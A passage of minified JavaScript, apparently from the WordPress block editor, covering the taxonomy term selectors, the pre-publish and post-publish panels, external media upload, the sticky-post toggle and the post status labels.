s=[...null!=m?m:[],...null!=y?y:[]],o=t.reduce(((e,t)=&gt;(e.some((e=&gt;e.toLowerCase()===t.toLowerCase()))||e.push(t),e)),[]),n=o.filter((e=&gt;!s.find((t=&gt;km(t.name,e)))));i(o),0!==n.length?f&amp;&amp;Promise.all(n.map((t=&gt;async function(t){try{const s=await S(&quot;taxonomy&quot;,e,t,{throwOnError:!0});return Gd(s)}catch(e){if(&quot;term_exists&quot;!==e.code)throw e;return{id:e.data.term_id,name:t.name}}}({name:t})))).then((e=&gt;{const t=s.concat(e);C(Cm(o,t))})).catch((e=&gt;{k(e.message,{type:&quot;snackbar&quot;}),C(Cm(o,s))})):C(Cm(o,s))},onInputChange:l,maxSuggestions:Sm,label:P,messages:{added:E,removed:T,remove:B},__nextHasNoMarginBottom:t}),(0,L.jsx)(xm,{taxonomy:g,onSelect:function(t){var s;if(h.includes(t.id))return;const o=[...h,t.id],n=&quot;post_tag&quot;===e?(0,fs.__)(&quot;Tag&quot;):(0,fs.__)(&quot;Term&quot;),i=(0,fs.sprintf)((0,fs._x)(&quot;%s added&quot;,&quot;term&quot;),null!==(s=g?.labels?.singular_name)&amp;&amp;void 0!==s?s:n);(0,ms.speak)(i,&quot;assertive&quot;),C(o)}})]})}const Em=(0,Uo.withFilters)(&quot;editor.PostTaxonomyType&quot;)(jm),Tm=()=&gt;{const e=[(0,fs.__)(&quot;Suggestion:&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;Add tags&quot;)},&quot;label&quot;)];return(0,L.jsxs)(Uo.PanelBody,{initialOpen:!1,title:e,children:[(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Tags help users and search engines navigate your site and find your content. Add a few keywords to describe your post.&quot;)}),(0,L.jsx)(Em,{slug:&quot;post_tag&quot;,__nextHasNoMarginBottom:!0})]})},Bm=()=&gt;{const{hasTags:e,isPostTypeSupported:t}=(0,c.useSelect)((e=&gt;{const t=e(Ac).getCurrentPostType(),s=e(d.store).getEntityRecord(&quot;root&quot;,&quot;taxonomy&quot;,&quot;post_tag&quot;),o=s?.types?.includes(t),n=void 0!==s,i=s&amp;&amp;e(Ac).getEditedPostAttribute(s.rest_base);return{hasTags:!!i?.length,isPostTypeSupported:n&amp;&amp;o}}),[]),[s]=(0,u.useState)(e);return t?s?null:(0,L.jsx)(Tm,{}):null},Im=(e,t)=&gt;Bp.filter((t=&gt;e?.includes(t.id))).find((e=&gt;e.id===t)),Nm=({suggestedPostFormat:e,suggestionText:t,onUpdatePostFormat:s})=&gt;(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;link&quot;,onClick:()=&gt;s(e),children:t});function Dm(){const{currentPostFormat:e,suggestion:t}=(0,c.useSelect)((e=&gt;{var t;const{getEditedPostAttribute:s,getSuggestedPostFormat:o}=e(Ac),n=null!==(t=e(d.store).getThemeSupports().formats)&amp;&amp;void 0!==t?t:[];return{currentPostFormat:s(&quot;format&quot;),suggestion:Im(n,o())}}),[]),{editPost:s}=(0,c.useDispatch)(Ac),o=[(0,fs.__)(&quot;Suggestion:&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;Use a post format&quot;)},&quot;label&quot;)];return t&amp;&amp;t.id!==e?(0,L.jsxs)(Uo.PanelBody,{initialOpen:!1,title:o,children:[(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Your theme uses post formats to highlight different kinds of content, like images or videos. Apply a post format to see this special styling.&quot;)}),(0,L.jsx)(&quot;p&quot;,{children:(0,L.jsx)(Nm,{onUpdatePostFormat:e=&gt;s({format:e}),suggestedPostFormat:t.id,suggestionText:(0,fs.sprintf)((0,fs.__)(&#039;Apply the &quot;%1$s&quot; format.&#039;),t.caption)})})]}):null}const Am={per_page:-1,orderby:&quot;name&quot;,order:&quot;asc&quot;,_fields:&quot;id,name,parent&quot;,context:&quot;view&quot;},Rm=8,Mm=[];function Lm({slug:e}){var t,s;const[o,n]=(0,u.useState)(!1),[i,r]=(0,u.useState)(&quot;&quot;),[a,l]=(0,u.useState)(&quot;&quot;),[m,h]=(0,u.useState)(!1),[g,_]=(0,u.useState)(&quot;&quot;),[f,b]=(0,u.useState)([]),y=(0,p.useDebounce)(ms.speak,500),{hasCreateAction:x,hasAssignAction:v,terms:S,loading:w,availableTerms:k,taxonomy:C}=(0,c.useSelect)((t=&gt;{var s,o;const{getCurrentPost:n,getEditedPostAttribute:i}=t(Ac),{getEntityRecord:r,getEntityRecords:a,isResolving:l}=t(d.store),c=r(&quot;root&quot;,&quot;taxonomy&quot;,e),u=n();return{hasCreateAction:!!c&amp;&amp;(null!==(s=u._links?.[&quot;wp:action-create-&quot;+c.rest_base])&amp;&amp;void 0!==s&amp;&amp;s),hasAssignAction:!!c&amp;&amp;(null!==(o=u._links?.[&quot;wp:action-assign-&quot;+c.rest_base])&amp;&amp;void 0!==o&amp;&amp;o),terms:c?i(c.rest_base):Mm,loading:l(&quot;getEntityRecords&quot;,[&quot;taxonomy&quot;,e,Am]),availableTerms:a(&quot;taxonomy&quot;,e,Am)||Mm,taxonomy:c}}),[e]),{editPost:P}=(0,c.useDispatch)(Ac),{saveEntityRecord:j}=(0,c.useDispatch)(d.store),E=(0,u.useMemo)((()=&gt;function(e,t){const s=e=&gt;-1!==t.indexOf(e.id)||void 0!==e.children&amp;&amp;e.children.map(s).filter((e=&gt;e)).length&gt;0,o=[...e];return o.sort(((e,t)=&gt;{const o=s(e),n=s(t);return o===n?0:o&amp;&amp;!n?-1:!o&amp;&amp;n?1:0})),o}(Ud(k),S)),[k]),{createErrorNotice:T}=(0,c.useDispatch)(_s.store);if(!v)return null;const B=e=&gt;{P({[C.rest_base]:e})},I=e=&gt;e.map((e=&gt;(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-choice&quot;,children:[(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,checked:-1!==S.indexOf(e.id),onChange:()=&gt;{(e=&gt;{const t=S.includes(e)?S.filter((t=&gt;t!==e)):[...S,e];B(t)})(parseInt(e.id,10))},label:(0,Lo.decodeEntities)(e.name)}),!!e.children.length&amp;&amp;(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-subchoices&quot;,children:I(e.children)})]},e.id))),N=(t,s,o)=&gt;{var n;return null!==(n=C?.labels?.[t])&amp;&amp;void 0!==n?n:&quot;category&quot;===e?s:o},D=N(&quot;add_new_item&quot;,(0,fs.__)(&quot;Add new category&quot;),(0,fs.__)(&quot;Add new term&quot;)),A=N(&quot;new_item_name&quot;,(0,fs.__)(&quot;Add new category&quot;),(0,fs.__)(&quot;Add new term&quot;)),R=N(&quot;parent_item&quot;,(0,fs.__)(&quot;Parent Category&quot;),(0,fs.__)(&quot;Parent Term&quot;)),M=`— ${R} —`,O=D,F=null!==(t=C?.labels?.search_items)&amp;&amp;void 0!==t?t:(0,fs.__)(&quot;Search Terms&quot;),V=null!==(s=C?.name)&amp;&amp;void 0!==s?s:(0,fs.__)(&quot;Terms&quot;),z=k.length&gt;=Rm;return(0,L.jsxs)(Uo.Flex,{direction:&quot;column&quot;,gap:&quot;4&quot;,children:[z&amp;&amp;(0,L.jsx)(Uo.SearchControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:F,placeholder:F,value:g,onChange:e=&gt;{const t=E.map(function(e){const t=s=&gt;{if(&quot;&quot;===e)return s;const o={...s};return o.children.length&gt;0&amp;&amp;(o.children=o.children.map(t).filter((e=&gt;e))),(-1!==o.name.toLowerCase().indexOf(e.toLowerCase())||o.children.length&gt;0)&amp;&amp;o};return t}(e)).filter((e=&gt;e)),s=e=&gt;{let t=0;for(let o=0;o&lt;e.length;o++)t++,void 0!==e[o].children&amp;&amp;(t+=s(e[o].children));return t};_(e),b(t);const o=s(t),n=(0,fs.sprintf)((0,fs._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,o),o);y(n,&quot;assertive&quot;)}}),(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-taxonomies__hierarchical-terms-list&quot;,tabIndex:&quot;0&quot;,role:&quot;group&quot;,&quot;aria-label&quot;:V,children:I(&quot;&quot;!==g?f:E)}),!w&amp;&amp;x&amp;&amp;(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,onClick:()=&gt;{h(!m)},className:&quot;editor-post-taxonomies__hierarchical-terms-add&quot;,&quot;aria-expanded&quot;:m,variant:&quot;link&quot;,children:D})}),m&amp;&amp;(0,L.jsx)(&quot;form&quot;,{onSubmit:async t=&gt;{var s;if(t.preventDefault(),&quot;&quot;===i||o)return;const c=function(e,t,s){return e.find((e=&gt;(!e.parent&amp;&amp;!t||parseInt(e.parent)===parseInt(t))&amp;&amp;e.name.toLowerCase()===s.toLowerCase()))}(k,a,i);if(c)return S.some((e=&gt;e===c.id))||B([...S,c.id]),r(&quot;&quot;),void l(&quot;&quot;);let d;n(!0);try{d=await(u={name:i,parent:a||void 0},j(&quot;taxonomy&quot;,e,u,{throwOnError:!0}))}catch(e){return void T(e.message,{type:&quot;snackbar&quot;})}var u;const p=&quot;category&quot;===e?(0,fs.__)(&quot;Category&quot;):(0,fs.__)(&quot;Term&quot;),m=(0,fs.sprintf)((0,fs._x)(&quot;%s added&quot;,&quot;term&quot;),null!==(s=C?.labels?.singular_name)&amp;&amp;void 0!==s?s:p);(0,ms.speak)(m,&quot;assertive&quot;),n(!1),r(&quot;&quot;),l(&quot;&quot;),B([...S,d.id])},children:(0,L.jsxs)(Uo.Flex,{direction:&quot;column&quot;,gap:&quot;4&quot;,children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;editor-post-taxonomies__hierarchical-terms-input&quot;,label:A,value:i,onChange:e=&gt;{r(e)},required:!0}),!!k.length&amp;&amp;(0,L.jsx)(Uo.TreeSelect,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,label:R,noOptionLabel:M,onChange:e=&gt;{l(e)},selectedId:a,tree:E}),(0,L.jsx)(Uo.FlexItem,{children:(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,type:&quot;submit&quot;,className:&quot;editor-post-taxonomies__hierarchical-terms-submit&quot;,children:O})})]})})]})}const Om=(0,Uo.withFilters)(&quot;editor.PostTaxonomyType&quot;)(Lm);const Fm=function(){const e=(0,c.useSelect)((e=&gt;{const t=e(Ac).getCurrentPostType(),{canUser:s,getEntityRecord:o}=e(d.store),n=o(&quot;root&quot;,&quot;taxonomy&quot;,&quot;category&quot;),i=s(&quot;read&quot;,{kind:&quot;root&quot;,name:&quot;site&quot;})?o(&quot;root&quot;,&quot;site&quot;)?.default_category:void 0,r=i?o(&quot;taxonomy&quot;,&quot;category&quot;,i):void 0,a=n&amp;&amp;n.types.some((e=&gt;e===t)),l=n&amp;&amp;e(Ac).getEditedPostAttribute(n.rest_base);return!!n&amp;&amp;!!r&amp;&amp;a&amp;&amp;(0===l?.length||1===l?.length&amp;&amp;r?.id===l[0])}),[]),[t,s]=(0,u.useState)(!1);if((0,u.useEffect)((()=&gt;{e&amp;&amp;s(!0)}),[e]),!t)return null;const o=[(0,fs.__)(&quot;Suggestion:&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;Assign a category&quot;)},&quot;label&quot;)];return(0,L.jsxs)(Uo.PanelBody,{initialOpen:!1,title:o,children:[(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Categories provide a helpful way to group related posts together and to quickly tell readers what a post is about.&quot;)}),(0,L.jsx)(Om,{slug:&quot;category&quot;})]})};function Vm(e){return Object.fromEntries(Object.entries(function(e){const t=new Set;return Object.fromEntries(e.map((e=&gt;{const s=(0,v.getFilename)(e);let o=&quot;&quot;;if(s){const e=s.split(&quot;.&quot;);e.length&gt;1&amp;&amp;e.pop(),o=e.join(&quot;.&quot;)}return o||(o=Ar()),t.has(o)&amp;&amp;(o=`${o}-${Ar()}`),t.add(o),[e,o]})))}(e)).map((([e,t])=&gt;{const s=window.fetch(e.includes(&quot;?&quot;)?e:e+&quot;?&quot;).then((e=&gt;e.blob())).then((e=&gt;new File([e],`${t}.png`,{type:e.type})));return[e,s]})))}function zm(e){const t=[];return e.forEach((e=&gt;{t.push(e),t.push(...zm(e.innerBlocks))})),t}function Um(e){if(&quot;core/image&quot;===e.name||&quot;core/cover&quot;===e.name){const{url:t,alt:s,id:o}=e.attributes;return{url:t,alt:s,id:o}}if(&quot;core/media-text&quot;===e.name){const{mediaUrl:t,mediaAlt:s,mediaId:o}=e.attributes;return{url:t,alt:s,id:o}}return{}}function Hm({clientId:e,alt:t,url:s}){const{selectBlock:o}=(0,c.useDispatch)(h.store);return(0,L.jsx)(Uo.__unstableMotion.img,{tabIndex:0,role:&quot;button&quot;,&quot;aria-label&quot;:(0,fs.__)(&quot;Select image block.&quot;),onClick:()=&gt;{o(e)},onKeyDown:t=&gt;{&quot;Enter&quot;!==t.key&amp;&amp;&quot; &quot;!==t.key||(o(e),t.preventDefault())},alt:t,src:s,animate:{opacity:1},exit:{opacity:0,scale:0},style:{width:&quot;32px&quot;,height:&quot;32px&quot;,objectFit:&quot;cover&quot;,borderRadius:&quot;2px&quot;,cursor:&quot;pointer&quot;},whileHover:{scale:1.08}},e)}function Gm(){const[e,t]=(0,u.useState)(!1),[s,o]=(0,u.useState)(!1),[n,i]=(0,u.useState)(!1),{editorBlocks:r,mediaUpload:a}=(0,c.useSelect)((e=&gt;({editorBlocks:e(h.store).getBlocks(),mediaUpload:e(h.store).getSettings().mediaUpload})),[]),l=zm(r).filter((e=&gt;function(e){return&quot;core/image&quot;===e.name||&quot;core/cover&quot;===e.name?e.attributes.url&amp;&amp;!e.attributes.id:&quot;core/media-text&quot;===e.name?e.attributes.mediaUrl&amp;&amp;!e.attributes.mediaId:void 0}(e))),{updateBlockAttributes:d}=(0,c.useDispatch)(h.store);if(!a||!l.length)return null;const p=[(0,fs.__)(&quot;Suggestion:&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,fs.__)(&quot;External media&quot;)},&quot;label&quot;)];return(0,L.jsxs)(Uo.PanelBody,{initialOpen:!0,title:p,children:[(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Upload external images to the Media Library. Images from different domains may load slowly, display incorrectly, or be removed unexpectedly.&quot;)}),(0,L.jsxs)(&quot;div&quot;,{style:{display:&quot;inline-flex&quot;,flexWrap:&quot;wrap&quot;,gap:&quot;8px&quot;},children:[(0,L.jsx)(Uo.__unstableAnimatePresence,{onExitComplete:()=&gt;o(!1),children:l.map((e=&gt;{const{url:t,alt:s}=Um(e);return(0,L.jsx)(Hm,{clientId:e.clientId,url:t,alt:s},e.clientId)}))}),e||s?(0,L.jsx)(Uo.Spinner,{}):(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,variant:&quot;primary&quot;,onClick:function(){t(!0),i(!1);const e=new Set(l.map((e=&gt;{const{url:t}=Um(e);return t}))),s=Object.fromEntries(Object.entries(Vm([...e])).map((([e,t])=&gt;[e,t.then((e=&gt;new Promise(((t,s)=&gt;{a({filesList:[e],onFileChange:([e])=&gt;{(0,di.isBlobURL)(e.url)||t(e)},onError(){s()}})}))))])));Promise.allSettled(l.map((e=&gt;{const{url:t}=Um(e);return s[t].then((t=&gt;function(e,t){&quot;core/image&quot;!==e.name&amp;&amp;&quot;core/cover&quot;!==e.name||d(e.clientId,{id:t.id,url:t.url}),&quot;core/media-text&quot;===e.name&amp;&amp;d(e.clientId,{mediaId:t.id,mediaUrl:t.url})}(e,t))).then((()=&gt;o(!0))).catch((()=&gt;i(!0)))}))).finally((()=&gt;{t(!1)}))},children:(0,fs._x)(&quot;Upload&quot;,&quot;verb&quot;)})]}),n&amp;&amp;(0,L.jsx)(&quot;p&quot;,{children:(0,fs.__)(&quot;Upload failed, try again.&quot;)})]})}const $m=function({children:e}){const{isBeingScheduled:t,isRequestingSiteIcon:s,hasPublishAction:o,siteIconUrl:n,siteTitle:i,siteHome:r}=(0,c.useSelect)((e=&gt;{var t;const{getCurrentPost:s,isEditedPostBeingScheduled:o}=e(Ac),{getEntityRecord:n,isResolving:i}=e(d.store),r=n(&quot;root&quot;,&quot;__unstableBase&quot;,void 0)||{};return{hasPublishAction:null!==(t=s()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t,isBeingScheduled:o(),isRequestingSiteIcon:i(&quot;getEntityRecord&quot;,[&quot;root&quot;,&quot;__unstableBase&quot;,void 0]),siteIconUrl:r.site_icon_url,siteTitle:r.name,siteHome:r.home&amp;&amp;(0,v.filterURLForDisplay)(r.home)}}),[]);let a,l,u=(0,L.jsx)(Uo.Icon,{className:&quot;components-site-icon&quot;,size:&quot;36px&quot;,icon:$p});return n&amp;&amp;(u=(0,L.jsx)(&quot;img&quot;,{alt:(0,fs.__)(&quot;Site Icon&quot;),className:&quot;components-site-icon&quot;,src:n})),s&amp;&amp;(u=null),o?t?(a=(0,fs.__)(&quot;Are you ready to schedule?&quot;),l=(0,fs.__)(&quot;Your work will be published at the specified date and time.&quot;)):(a=(0,fs.__)(&quot;Are you ready to publish?&quot;),l=(0,fs.__)(&quot;Double-check your settings before publishing.&quot;)):(a=(0,fs.__)(&quot;Are you ready to submit for review?&quot;),l=(0,fs.__)(&quot;Your work will be reviewed and then approved.&quot;)),(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__prepublish&quot;,children:[(0,L.jsx)(&quot;div&quot;,{children:(0,L.jsx)(&quot;strong&quot;,{children:a})}),(0,L.jsx)(&quot;p&quot;,{children:l}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;components-site-card&quot;,children:[u,(0,L.jsxs)(&quot;div&quot;,{className:&quot;components-site-info&quot;,children:[(0,L.jsx)(&quot;span&quot;,{className:&quot;components-site-name&quot;,children:(0,Lo.decodeEntities)(i)||(0,fs.__)(&quot;(Untitled)&quot;)}),(0,L.jsx)(&quot;span&quot;,{className:&quot;components-site-home&quot;,children:r})]})]}),(0,L.jsx)(Gm,{}),o&amp;&amp;(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(Uo.PanelBody,{initialOpen:!1,title:[(0,fs.__)(&quot;Visibility:&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,L.jsx)(Kp,{})},&quot;label&quot;)],children:(0,L.jsx)(Zp,{})}),(0,L.jsx)(Uo.PanelBody,{initialOpen:!1,title:[(0,fs.__)(&quot;Publish:&quot;),(0,L.jsx)(&quot;span&quot;,{className:&quot;editor-post-publish-panel__link&quot;,children:(0,L.jsx)(hm,{})},&quot;label&quot;)],children:(0,L.jsx)(pm,{})})]}),(0,L.jsx)(Dm,{}),(0,L.jsx)(Bm,{}),(0,L.jsx)(Fm,{}),e]})},Wm=&quot;%postname%&quot;,Zm=&quot;%pagename%&quot;;function Ym({text:e}){const[t,s]=(0,u.useState)(!1),o=(0,u.useRef)(),n=(0,p.useCopyToClipboard)(e,(()=&gt;{s(!0),o.current&amp;&amp;clearTimeout(o.current),o.current=setTimeout((()=&gt;{s(!1)}),4e3)}));return(0,u.useEffect)((()=&gt;()=&gt;{o.current&amp;&amp;clearTimeout(o.current)}),[]),(0,L.jsx)(Uo.Button,{__next40pxDefaultSize:!0,variant:&quot;secondary&quot;,ref:n,children:t?(0,fs.__)(&quot;Copied!&quot;):(0,fs.__)(&quot;Copy&quot;)})}function Km({focusOnMount:e,children:t}){const{post:s,postType:o,isScheduled:n}=(0,c.useSelect)((e=&gt;{const{getEditedPostAttribute:t,getCurrentPost:s,isCurrentPostScheduled:o}=e(Ac),{getPostType:n}=e(d.store);return{post:s(),postType:n(t(&quot;type&quot;)),isScheduled:o()}}),[]),i=o?.labels?.singular_name,r=o?.labels?.view_item,a=o?.labels?.add_new_item,l=&quot;future&quot;===s.status?(e=&gt;{const{slug:t}=e;return e.permalink_template.includes(Wm)?e.permalink_template.replace(Wm,t):e.permalink_template.includes(Zm)?e.permalink_template.replace(Zm,t):e.permalink_template})(s):s.link,p=(0,v.addQueryArgs)(&quot;post-new.php&quot;,{post_type:s.type}),m=(0,u.useCallback)((t=&gt;{e&amp;&amp;t&amp;&amp;t.focus()}),[e]),h=n?(0,L.jsxs)(L.Fragment,{children:[(0,fs.__)(&quot;is now scheduled. It will go live on&quot;),&quot; &quot;,(0,L.jsx)(hm,{}),&quot;.&quot;]}):(0,fs.__)(&quot;is now live.&quot;);return(0,L.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish&quot;,children:[(0,L.jsxs)(Uo.PanelBody,{className:&quot;post-publish-panel__postpublish-header&quot;,children:[(0,L.jsx)(&quot;a&quot;,{ref:m,href:l,children:(0,Lo.decodeEntities)(s.title)||(0,fs.__)(&quot;(no title)&quot;)}),&quot; &quot;,h]}),(0,L.jsxs)(Uo.PanelBody,{children:[(0,L.jsx)(&quot;p&quot;,{className:&quot;post-publish-panel__postpublish-subheader&quot;,children:(0,L.jsx)(&quot;strong&quot;,{children:(0,fs.__)(&quot;What’s next?&quot;)})}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-post-address-container&quot;,children:[(0,L.jsx)(Uo.TextControl,{__next40pxDefaultSize:!0,__nextHasNoMarginBottom:!0,className:&quot;post-publish-panel__postpublish-post-address&quot;,readOnly:!0,label:(0,fs.sprintf)((0,fs.__)(&quot;%s address&quot;),i),value:(0,v.safeDecodeURIComponent)(l),onFocus:e=&gt;e.target.select()}),(0,L.jsx)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-post-address__copy-button-wrap&quot;,children:(0,L.jsx)(Ym,{text:l})})]}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;post-publish-panel__postpublish-buttons&quot;,children:[!n&amp;&amp;(0,L.jsx)(Uo.Button,{variant:&quot;primary&quot;,href:l,__next40pxDefaultSize:!0,children:r}),(0,L.jsx)(Uo.Button,{variant:n?&quot;primary&quot;:&quot;secondary&quot;,__next40pxDefaultSize:!0,href:p,children:a})]})]}),t]})}class qm extends u.Component{constructor(){super(...arguments),this.onSubmit=this.onSubmit.bind(this),this.cancelButtonNode=(0,u.createRef)()}componentDidMount(){this.timeoutID=setTimeout((()=&gt;{this.cancelButtonNode.current.focus()}),0)}componentWillUnmount(){clearTimeout(this.timeoutID)}componentDidUpdate(e){(e.isPublished&amp;&amp;!this.props.isSaving&amp;&amp;this.props.isDirty||this.props.currentPostId!==e.currentPostId)&amp;&amp;this.props.onClose()}onSubmit(){const{onClose:e,hasPublishAction:t,isPostTypeViewable:s}=this.props;t&amp;&amp;s||e()}render(){const{forceIsDirty:e,isBeingScheduled:t,isPublished:s,isPublishSidebarEnabled:o,isScheduled:n,isSaving:i,isSavingNonPostEntityChanges:r,onClose:a,onTogglePublishSidebar:l,PostPublishExtension:c,PrePublishExtension:d,currentPostId:u,...p}=this.props,{hasPublishAction:m,isDirty:h,isPostTypeViewable:g,..._}=p,f=s||n&amp;&amp;t,b=!f&amp;&amp;!i,y=f&amp;&amp;!i;return(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel&quot;,..._,children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header&quot;,children:y?(0,L.jsx)(Uo.Button,{size:&quot;compact&quot;,onClick:a,icon:Bn,label:(0,fs.__)(&quot;Close panel&quot;)}):(0,L.jsxs)(L.Fragment,{children:[(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header-cancel-button&quot;,children:(0,L.jsx)(Uo.Button,{ref:this.cancelButtonNode,accessibleWhenDisabled:!0,disabled:r,onClick:a,variant:&quot;secondary&quot;,size:&quot;compact&quot;,children:(0,fs.__)(&quot;Cancel&quot;)})}),(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__header-publish-button&quot;,children:(0,L.jsx)(Gp,{onSubmit:this.onSubmit,forceIsDirty:e})})]})}),(0,L.jsxs)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__content&quot;,children:[b&amp;&amp;(0,L.jsx)($m,{children:d&amp;&amp;(0,L.jsx)(d,{})}),y&amp;&amp;(0,L.jsx)(Km,{focusOnMount:!0,children:c&amp;&amp;(0,L.jsx)(c,{})}),i&amp;&amp;(0,L.jsx)(Uo.Spinner,{})]}),(0,L.jsx)(&quot;div&quot;,{className:&quot;editor-post-publish-panel__footer&quot;,children:(0,L.jsx)(Uo.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,fs.__)(&quot;Always show pre-publish checks.&quot;),checked:o,onChange:l})})]})}}const Qm=(0,p.compose)([(0,c.withSelect)((e=&gt;{var t;const{getPostType:s}=e(d.store),{getCurrentPost:o,getCurrentPostId:n,getEditedPostAttribute:i,isCurrentPostPublished:r,isCurrentPostScheduled:a,isEditedPostBeingScheduled:l,isEditedPostDirty:c,isAutosavingPost:u,isSavingPost:p,isSavingNonPostEntityChanges:m}=e(Ac),{isPublishSidebarEnabled:h}=e(Ac),g=s(i(&quot;type&quot;));return{hasPublishAction:null!==(t=o()._links?.[&quot;wp:action-publish&quot;])&amp;&amp;void 0!==t&amp;&amp;t,isPostTypeViewable:g?.viewable,isBeingScheduled:l(),isDirty:c(),isPublished:r(),isPublishSidebarEnabled:h(),isSaving:p()&amp;&amp;!u(),isSavingNonPostEntityChanges:m(),isScheduled:a(),currentPostId:n()}})),(0,c.withDispatch)(((e,{isPublishSidebarEnabled:t})=&gt;{const{disablePublishSidebar:s,enablePublishSidebar:o}=e(Ac);return{onTogglePublishSidebar:()=&gt;{t?s():o()}}})),Uo.withFocusReturn,Uo.withConstrainedTabbing])(qm),Xm=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M17.3 10.1C17.3 7.60001 15.2 5.70001 12.5 5.70001C10.3 5.70001 8.4 7.10001 7.9 9.00001H7.7C5.7 9.00001 4 10.7 4 12.8C4 14.9 5.7 16.6 7.7 16.6H9.5V15.2H7.7C6.5 15.2 5.5 14.1 5.5 12.9C5.5 11.7 6.5 10.5 7.7 10.5H9L9.3 9.40001C9.7 8.10001 11 7.20001 12.5 7.20001C14.3 7.20001 15.8 8.50001 15.8 10.1V11.4L17.1 11.6C17.9 11.7 18.5 12.5 18.5 13.4C18.5 14.4 17.7 15.2 16.8 15.2H14.5V16.6H16.7C18.5 16.6 19.9 15.1 19.9 13.3C20 11.7 18.8 10.4 17.3 10.1Z M14.1245 14.2426L15.1852 13.182L12.0032 10L8.82007 13.1831L9.88072 14.2438L11.25 12.8745V18H12.75V12.8681L14.1245 14.2426Z&quot;})}),Jm=(0,L.jsx)(M.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,L.jsx)(M.Path,{d:&quot;M17.3 10.1c0-2.5-2.1-4.4-4.8-4.4-2.2 0-4.1 1.4-4.6 3.3h-.2C5.7 9 4 10.7 4 12.8c0 2.1 1.7 3.8 3.7 3.8h9c1.8 0 3.2-1.5 3.2-3.3.1-1.6-1.1-2.9-2.6-3.2zm-.5 5.1h-9c-1.2 0-2.2-1.1-2.2-2.3s1-2.4 2.2-2.4h1.3l.3-1.1c.4-1.3 1.7-2.2 3.2-2.2 1.8 0 3.3 1.3 3.3 2.9v1.3l1.3.2c.8.1 1.4.9 1.4 1.8-.1 1-.9 1.8-1.8 1.8z&quot;})});function eh({children:e}){const{hasStickyAction:t,postType:s}=(0,c.useSelect)((e=&gt;{var t;const s=e(Ac).getCurrentPost();return{hasStickyAction:null!==(t=s._links?.[&quot;wp:action-sticky&quot;])&amp;&amp;void 0!==t&amp;&amp;t,postType:e(Ac).getCurrentPostType()}}),[]);return&quot;post&quot;===s&amp;&amp;t?e:null}function th(){const e=(0,c.useSelect)((e=&gt;{var t;return null!==(t=e(Ac).getEditedPostAttribute(&quot;sticky&quot;))&amp;&amp;void 0!==t&amp;&amp;t}),[]),{editPost:t}=(0,c.useDispatch)(Ac);return(0,L.jsx)(eh,{children:(0,L.jsx)(Uo.CheckboxControl,{className:&quot;editor-post-sticky__checkbox-control&quot;,label:(0,fs.__)(&quot;Sticky&quot;),help:(0,fs.__)(&quot;Pin this post to the top of the blog&quot;),checked:e,onChange:()=&gt;t({sticky:!e}),__nextHasNoMarginBottom:!0})})}const sh={&quot;auto-draft&quot;:{label:(0,fs.__)(&quot;Draft&quot;),icon:Oi},draft:{label:(0,fs.__)(&quot;Draft&quot;),icon:Oi},pending:{label:(0,fs.__)(&quot;Pending&quot;),icon:Vi},private:{label:(0,fs.__)(&quot;Private&quot;),icon:zi},future:{label:(0,fs.__)(&quot;Scheduled&quot;),icon:Fi},publish:{label:(0,fs.__)(&quot;Published&quot;),icon:Ui}},oh=[{label:(0,fs.__)(&quot;Draft&quot;),value:&quot;draft&quot;,description:(0,fs.__)(&quot;Not ready to publish.&quot;)},{label:(0,fs.__)(&quot;Pending&quot;),value:&quot;pending&quot;,description:(0,fs.__)(&quot;Waiting for review before publishing.&quot;)},{label:(0,fs.__)(&quot;Private&quot;),value:&quot;private&quot;,description:(0,fs.__)(&quot;Only visible to site admins and 